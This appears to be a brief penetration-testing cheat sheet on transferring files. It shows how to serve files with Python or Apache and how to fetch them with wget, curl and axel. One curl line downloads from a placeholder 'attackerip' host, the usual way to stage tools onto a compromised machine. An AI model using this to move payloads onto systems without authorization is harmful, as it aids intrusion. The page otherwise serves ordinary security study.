File transfers
Hosting files via HTTP
python3 -m http.server 80
python -m SimpleHTTPServer 80systemctl start Apache2 Built-in OS functions
Linux
wget http://sample.com/file.pdf
wget -O report_wget.pdf https://sample.com/report-2013.pdf
-O saves the file with a different name on the local machine
curl -o file.pdf http://attackerip/file.pdf
axel -a -n 20 -o report_axel.pdf https://sample.com/report.pdf
-n --used to specify the number of connections
-a --provides a more concise progress indicator
-o --used to specify a different name for the downloaded fileWindows
Other alternatives
FTP
Netcat
Last updated